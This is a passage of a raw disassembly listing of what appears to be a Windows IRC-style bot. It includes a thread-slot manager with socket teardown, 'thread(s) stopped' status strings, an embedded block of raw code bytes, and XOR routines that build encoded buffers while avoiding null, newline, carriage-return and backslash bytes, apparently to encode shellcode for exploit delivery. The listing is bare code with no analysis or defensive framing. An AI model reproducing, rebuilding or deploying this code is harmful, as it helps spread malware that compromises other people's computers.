		push	[ebp+arg_0]
		call	sub_40CDB9
		pop	ecx
		mov	[ebp+var_C], eax
		jmp	short loc_40CF02
; ---------------------------------------------------------------------------


loc_40CEFC:				; CODE XREF: sub_40CE78+74j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax


loc_40CF02:				; CODE XREF: sub_40CE78+82j
		mov	eax, [ebp+var_C]
		leave
		retn
sub_40CE78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF07	proc near		; CODE XREF: sub_40CF37+Cp
					; sub_40D09D+9p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_41EBD0
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_4]
		call	sub_41EBD0
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+79h]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx+48h]
		leave
		retn
sub_40CF07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF37	proc near		; CODE XREF: sub_40D0B6+62p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40CF07
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+arg_4]
		jbe	short loc_40CF5C
		xor	eax, eax
		jmp	locret_40D09B
; ---------------------------------------------------------------------------


loc_40CF5C:				; CODE XREF: sub_40CF37+1Cj
		push	[ebp+arg_8]
		call	sub_41EBD0
		pop	ecx
		mov	[ebp+var_20], eax
		push	[ebp+arg_C]
		call	sub_41EBD0
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], offset dword_448F04
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		lea	eax, [ecx+eax+12h]
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	[ebp+var_C], (offset loc_448F24+1)
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	ecx, [ebp+var_C]
		mov	[ecx], eax
		mov	[ebp+var_10], (offset loc_448F1C+1)
		mov	eax, [ebp+var_1C]
		add	eax, 17h
		mov	ecx, [ebp+var_10]
		mov	[ecx], eax
		mov	[ebp+var_4], (offset loc_448F31+2)
		push	0FFFFFFEDh
		pop	eax
		sub	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		and	[ebp+var_18], 0
		push	74h
		push	offset dword_448EA0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_18]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+var_18]
		add	eax, 74h
		mov	[ebp+var_18], eax
		push	[ebp+var_20]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_18]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+var_18]
		add	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		push	5
		push	offset loc_448F14
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_18]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+var_18]
		add	eax, 5
		mov	[ebp+var_18], eax
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_18]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+var_18]
		add	eax, [ebp+var_1C]
		mov	[ebp+var_18], eax
		push	10h
		push	offset loc_448F19
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_18]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+var_18]
		add	eax, 10h
		mov	[ebp+var_18], eax
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_18]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+var_18]
		add	eax, [ebp+var_1C]
		mov	[ebp+var_18], eax
		push	38h
		push	offset loc_448F29
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_18]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+var_18]
		add	eax, 38h
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_14]

locret_40D09B:				; CODE XREF: sub_40CF37+20j
		leave
		retn
sub_40CF37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D09D	proc near		; CODE XREF: sub_40D0B6+Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF07
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40D148
		pop	ecx
		pop	ebp
		retn
sub_40D09D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0B6	proc near		; CODE XREF: sub_41104D+D6p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40D09D
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jbe	short loc_40D0D8
		xor	eax, eax
		jmp	short locret_40D146
; ---------------------------------------------------------------------------


loc_40D0D8:				; CODE XREF: sub_40D0B6+1Cj
		cmp	[ebp+var_4], 0FFFFh
		jbe	short loc_40D0E5
		xor	eax, eax
		jmp	short locret_40D146
; ---------------------------------------------------------------------------


loc_40D0E5:				; CODE XREF: sub_40D0B6+29j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40CF07
		pop	ecx
		pop	ecx
		add	eax, 101h
		push	eax
		call	sub_41EDA0
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40CF07
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8]
		call	sub_40CF37
		add	esp, 10h
		mov	[ebp+var_C], eax
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D17A
		add	esp, 10h
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		call	sub_41F930
		pop	ecx
		mov	eax, [ebp+var_4]

locret_40D146:				; CODE XREF: sub_40D0B6+20j
					; sub_40D0B6+2Dj
		leave
		retn
sub_40D0B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D148	proc near		; CODE XREF: sub_40D09D+11p
					; sub_40D17A+83p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_40D15F
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax


loc_40D15F:				; CODE XREF: sub_40D148+Ej
		mov	eax, 0FFh
		cmp	eax, [ebp+arg_0]
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+arg_0]
		leave
		retn
sub_40D148	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D17A	proc near		; CODE XREF: sub_40D0B6+79p
					; sub_41104D+104p

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_C]
		and	eax, 0FFh
		mov	[ebp+var_4], al
		movsx	eax, [ebp+var_4]
		cmp	eax, 0Ah
		jz	short loc_40D1AE
		movsx	eax, [ebp+var_4]
		cmp	eax, 0Dh
		jz	short loc_40D1AE
		movsx	eax, [ebp+var_4]
		cmp	eax, 5Ch
		jz	short loc_40D1AE
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jnz	short loc_40D1B5


loc_40D1AE:				; CODE XREF: sub_40D17A+18j
					; sub_40D17A+21j ...
		mov	eax, [ebp+arg_C]
		inc	eax
		mov	[ebp+arg_C], eax


loc_40D1B5:				; CODE XREF: sub_40D17A+32j
		cmp	[ebp+arg_C], 0FFh
		jbe	short loc_40D1FA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		and	eax, 0FFh
		mov	[ebp+var_4], al
		movsx	eax, [ebp+var_4]
		cmp	eax, 0Ah
		jz	short loc_40D1EF
		movsx	eax, [ebp+var_4]
		cmp	eax, 0Dh
		jz	short loc_40D1EF
		movsx	eax, [ebp+var_4]
		cmp	eax, 5Ch
		jz	short loc_40D1EF
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jnz	short loc_40D1FA


loc_40D1EF:				; CODE XREF: sub_40D17A+59j
					; sub_40D17A+62j ...
		mov	eax, [ebp+arg_C]
		add	eax, 100h
		mov	[ebp+arg_C], eax


loc_40D1FA:				; CODE XREF: sub_40D17A+42j
					; sub_40D17A+73j
		push	[ebp+arg_C]
		call	sub_40D148
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jbe	short loc_40D215
		xor	eax, eax
		jmp	locret_40D328
; ---------------------------------------------------------------------------


loc_40D215:				; CODE XREF: sub_40D17A+92j
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_40D225
		xor	eax, eax
		jmp	locret_40D328
; ---------------------------------------------------------------------------


loc_40D225:				; CODE XREF: sub_40D17A+A2j
		mov	al, byte_4E1858
		mov	[ebp+var_C], al
		and	[ebp+var_10], 0
		jmp	short loc_40D23A
; ---------------------------------------------------------------------------


loc_40D233:				; CODE XREF: sub_40D17A:loc_40D283j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_40D23A:				; CODE XREF: sub_40D17A+B7j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+arg_C]
		jnb	short loc_40D285
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_10]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_C]
		xor	eax, ecx
		mov	[ebp+var_18], al
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jz	short loc_40D277
		movsx	eax, [ebp+var_18]
		cmp	eax, 0Ah
		jz	short loc_40D277
		movsx	eax, [ebp+var_18]
		cmp	eax, 0Dh
		jz	short loc_40D277
		movsx	eax, [ebp+var_18]
		cmp	eax, 5Ch
		jnz	short loc_40D283


loc_40D277:				; CODE XREF: sub_40D17A+E0j
					; sub_40D17A+E9j ...
		mov	al, [ebp+var_C]
		add	al, 1
		mov	[ebp+var_C], al
		and	[ebp+var_10], 0


loc_40D283:				; CODE XREF: sub_40D17A+FBj
		jmp	short loc_40D233
; ---------------------------------------------------------------------------


loc_40D285:				; CODE XREF: sub_40D17A+C6j
		mov	al, [ebp+var_C]
		mov	byte_4E1858, al
		cmp	[ebp+arg_C], 0FFh
		ja	short loc_40D2C1
		mov	al, byte ptr [ebp+arg_C]
		mov	byte_448E95, al
		mov	al, [ebp+var_C]
		mov	byte_448E99, al
		push	15h
		push	offset loc_448E88
		push	[ebp+arg_0]
		call	sub_422B50
		add	esp, 0Ch
		mov	[ebp+var_10], 15h
		jmp	short loc_40D2F3
; ---------------------------------------------------------------------------


loc_40D2C1:				; CODE XREF: sub_40D17A+11Aj
		mov	[ebp+var_1C], (offset loc_448E7C+2)
		mov	eax, [ebp+var_1C]
		mov	cx, word ptr [ebp+arg_C]
		mov	[eax], cx
		mov	al, [ebp+var_C]
		mov	byte_448E83, al
		push	17h
		push	offset loc_448E70
		push	[ebp+arg_0]
		call	sub_422B50
		add	esp, 0Ch
		mov	[ebp+var_10], 17h


loc_40D2F3:				; CODE XREF: sub_40D17A+145j
		and	[ebp+var_14], 0
		jmp	short loc_40D300
; ---------------------------------------------------------------------------


loc_40D2F9:				; CODE XREF: sub_40D17A+1A9j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_40D300:				; CODE XREF: sub_40D17A+17Dj
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+arg_C]
		jnb	short loc_40D325
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_14]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_C]
		xor	eax, ecx
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_14]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx], al
		jmp	short loc_40D2F9
; ---------------------------------------------------------------------------


loc_40D325:				; CODE XREF: sub_40D17A+18Cj
		mov	eax, [ebp+var_8]

locret_40D328:				; CODE XREF: sub_40D17A+96j
					; sub_40D17A+A6j
		leave
		retn
sub_40D17A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D32A	proc near		; CODE XREF: sub_4016A7+42Dp
					; sub_4016A7+474p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40D33B
; ---------------------------------------------------------------------------


loc_40D334:				; CODE XREF: sub_40D32A:loc_40D3D1j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40D33B:				; CODE XREF: sub_40D32A+8j
		cmp	[ebp+var_4], 400h
		jge	loc_40D3D6
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		movsx	eax, byte_454418[eax]
		test	eax, eax
		jnz	short loc_40D3D1
		push	1FFh
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		add	eax, offset byte_454418
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		mov	ecx, [ebp+arg_4]
		mov	dword_454618[eax], ecx
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		and	dword_45461C[eax], 0
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		and	dword_454620[eax], 0
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		mov	ecx, [ebp+arg_8]
		mov	dword_454624[eax], ecx
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		and	byte_454630[eax], 0
		jmp	short loc_40D3D6
; ---------------------------------------------------------------------------


loc_40D3D1:				; CODE XREF: sub_40D32A+30j
		jmp	loc_40D334
; ---------------------------------------------------------------------------


loc_40D3D6:				; CODE XREF: sub_40D32A+18j
					; sub_40D32A+A5j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40D32A	endp

; ---------------------------------------------------------------------------
byte_40D3DB	db 55h			; DATA XREF: sub_4021E5+2862o
		dd 0EC81EC8Bh, 9Ch, 758B5756h, 59266A08h, 0FF64BD8Dh, 0A5F3FFFFh
		dd 8908458Bh, 458BFC45h, 9480C7FCh, 1000000h, 0FF000000h
		dd 75FFEC75h, 68858DF0h, 50FFFFFFh, 0FF64B5FFh,	1AE8FFFFh
		dd 83000000h, 75FF10C4h, 3D8E8E8h, 6A590000h, 2BCEE800h
		dd 5F900242h, 4C2C95Eh,	0EC8B5500h, 204EC81h, 6A0000h
		dd 681075FFh, 448F64h, 0FF0C75FFh, 0B8E80875h, 83FFFFDBh
		dd 658314C4h, 7EB00FCh,	40FC458Bh, 81FC4589h, 400FC7Dh
		dd 6E7D0000h, 69FC458Bh, 234C0h, 80BE0F00h, 454418h, 5874C085h
		dd 147D83h, 458B1275h, 34C069FCh, 83000002h, 45461CB8h
		dd 40750000h, 69FC458Bh, 234C0h, 44180500h, 0FF500045h
		dd 7868FC75h, 8D00448Fh, 0FFFDFC85h, 1E850FFh, 83000145h
		dd 16A10C4h, 8D1075FFh,	0FFFDFC85h, 75FF50FFh, 875FF0Ch
		dd 0FFDB36E8h, 14C483FFh, 0C3C982EBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4E0	proc near		; CODE XREF: sub_4021E5+45F7p
					; sub_40D605+36p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jle	loc_40D600
		cmp	[ebp+arg_0], 400h
		jge	loc_40D600
		push	0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		push	dword_45462C[eax]
		nop
		call	near ptr 27E0D0Ah
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_40D52F
		mov	[ebp+var_4], 1


loc_40D52F:				; CODE XREF: sub_40D4E0+46j
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	dword_45462C[eax], 0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	dword_454618[eax], 0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	dword_45461C[eax], 0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		cmp	dword_454620[eax], 0
		jbe	short loc_40D586
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		push	dword_454620[eax]
		call	sub_41D190
		pop	ecx


loc_40D586:				; CODE XREF: sub_40D4E0+8Fj
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	dword_454620[eax], 0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	byte_454418[eax], 0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	byte_454630[eax], 0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		push	dword_454624[eax]
		call	dword_4E1798	; closesocket
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	dword_454624[eax], 0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		push	dword_454628[eax]
		call	dword_4E1798	; closesocket
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	dword_454628[eax], 0


loc_40D600:				; CODE XREF: sub_40D4E0+Cj
					; sub_40D4E0+19j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40D4E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D605	proc near		; CODE XREF: sub_401567+18p
					; sub_4016A7:loc_401DD8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40D61B
; ---------------------------------------------------------------------------


loc_40D614:				; CODE XREF: sub_40D605:loc_40D64Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40D61B:				; CODE XREF: sub_40D605+Dj
		cmp	[ebp+var_4], 400h
		jge	short loc_40D64E
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		movsx	eax, byte_454418[eax]
		test	eax, eax
		jz	short loc_40D64C
		push	[ebp+var_4]
		call	sub_40D4E0
		pop	ecx
		test	eax, eax
		jz	short loc_40D64C
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40D64C:				; CODE XREF: sub_40D605+31j
					; sub_40D605+3Ej
		jmp	short loc_40D614
; ---------------------------------------------------------------------------


loc_40D64E:				; CODE XREF: sub_40D605+1Dj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_40D605	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D653	proc near		; CODE XREF: sub_4021E5+5684p
					; sub_40D75C+2Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40D669
; ---------------------------------------------------------------------------


loc_40D662:				; CODE XREF: sub_40D653:loc_40D6D2j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40D669:				; CODE XREF: sub_40D653+Dj
		cmp	[ebp+var_4], 400h
		jge	short loc_40D6D4
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		mov	eax, dword_454618[eax]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40D6D2
		cmp	[ebp+arg_4], 0
		jle	short loc_40D6BE
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		mov	eax, dword_45461C[eax]
		cmp	eax, [ebp+arg_4]
		jz	short loc_40D6A8
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_40D6BC


loc_40D6A8:				; CODE XREF: sub_40D653+4Bj
		push	[ebp+var_4]
		call	sub_40D4E0
		pop	ecx
		test	eax, eax
		jz	short loc_40D6BC
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40D6BC:				; CODE XREF: sub_40D653+53j
					; sub_40D653+60j
		jmp	short loc_40D6D2
; ---------------------------------------------------------------------------


loc_40D6BE:				; CODE XREF: sub_40D653+37j
		push	[ebp+var_4]
		call	sub_40D4E0
		pop	ecx
		test	eax, eax
		jz	short loc_40D6D2
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40D6D2:				; CODE XREF: sub_40D653+31j
					; sub_40D653:loc_40D6BCj ...
		jmp	short loc_40D662
; ---------------------------------------------------------------------------


loc_40D6D4:				; CODE XREF: sub_40D653+1Dj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_40D653	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6D9	proc near		; CODE XREF: sub_4016A7+4EDp
					; sub_4021E5+D63p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40D6EF
; ---------------------------------------------------------------------------


loc_40D6E8:				; CODE XREF: sub_40D6D9:loc_40D713j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40D6EF:				; CODE XREF: sub_40D6D9+Dj
		cmp	[ebp+var_4], 400h
		jge	short loc_40D715
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		mov	eax, dword_454618[eax]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40D713
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40D713:				; CODE XREF: sub_40D6D9+31j
		jmp	short loc_40D6E8
; ---------------------------------------------------------------------------


loc_40D715:				; CODE XREF: sub_40D6D9+1Dj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_40D6D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D71A	proc near		; CODE XREF: sub_4021E5+3556p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40D730
; ---------------------------------------------------------------------------


loc_40D729:				; CODE XREF: sub_40D71A:loc_40D755j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40D730:				; CODE XREF: sub_40D71A+Dj
		cmp	[ebp+var_4], 400h
		jge	short loc_40D757
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		mov	eax, dword_454618[eax]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40D755
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		jmp	short loc_40D757
; ---------------------------------------------------------------------------


loc_40D755:				; CODE XREF: sub_40D71A+31j
		jmp	short loc_40D729
; ---------------------------------------------------------------------------


loc_40D757:				; CODE XREF: sub_40D71A+1Dj
					; sub_40D71A+39j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_40D71A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D75C	proc near		; CODE XREF: sub_4021E5+1EF2p
					; sub_4021E5+1F4Ap ...

var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		and	[ebp+var_208], 0
		cmp	[ebp+arg_1C], 0
		jz	short loc_40D781
		push	[ebp+arg_1C]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_208], eax


loc_40D781:				; CODE XREF: sub_40D75C+14j
		push	[ebp+var_208]
		push	[ebp+arg_18]
		call	sub_40D653
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jle	short loc_40D7B9
		push	[ebp+var_4]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		jmp	short loc_40D7D3
; ---------------------------------------------------------------------------


loc_40D7B9:				; CODE XREF: sub_40D75C+3Cj
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4219C0
		add	esp, 10h


loc_40D7D3:				; CODE XREF: sub_40D75C+5Bj
		cmp	[ebp+arg_C], 0
		jnz	short loc_40D7F3
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_204]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_40D7F3:				; CODE XREF: sub_40D75C+7Bj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4173DC
		pop	ecx
		leave
		retn
sub_40D75C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D802	proc near		; CODE XREF: sub_401DEC+1D2p
					; sub_40DF24+25Ap ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	dword_45462C[eax], 0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	dword_454618[eax], 0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	dword_45461C[eax], 0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	dword_454620[eax], 0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	dword_454624[eax], 0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	dword_454628[eax], 0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	byte_454418[eax], 0
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		and	byte_454630[eax], 0
		pop	ebp
		retn
sub_40D802	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D887	proc near		; CODE XREF: sub_4021E5+1084p
					; sub_40DAA0+D1p ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 1
		jmp	short loc_40D89D
; ---------------------------------------------------------------------------


loc_40D896:				; CODE XREF: sub_40D887:loc_40D937j
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax


loc_40D89D:				; CODE XREF: sub_40D887+Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	loc_40D93C
		cmp	[ebp+var_4], 1
		jnz	loc_40D93C
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40D93C
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		mov	[ebp+var_8], al
		cmp	[ebp+var_8], 2Ah
		jz	short loc_40D8FF
		cmp	[ebp+var_8], 3Fh
		jz	short loc_40D8F6
		cmp	[ebp+var_8], 5Bh
		jz	short loc_40D8DB
		jmp	short loc_40D91A
; ---------------------------------------------------------------------------


loc_40D8DB:				; CODE XREF: sub_40D887+50j
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40D982
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jmp	short loc_40D937
; ---------------------------------------------------------------------------


loc_40D8F6:				; CODE XREF: sub_40D887+4Aj
		mov	eax, [ebp+arg_4]
		inc	eax
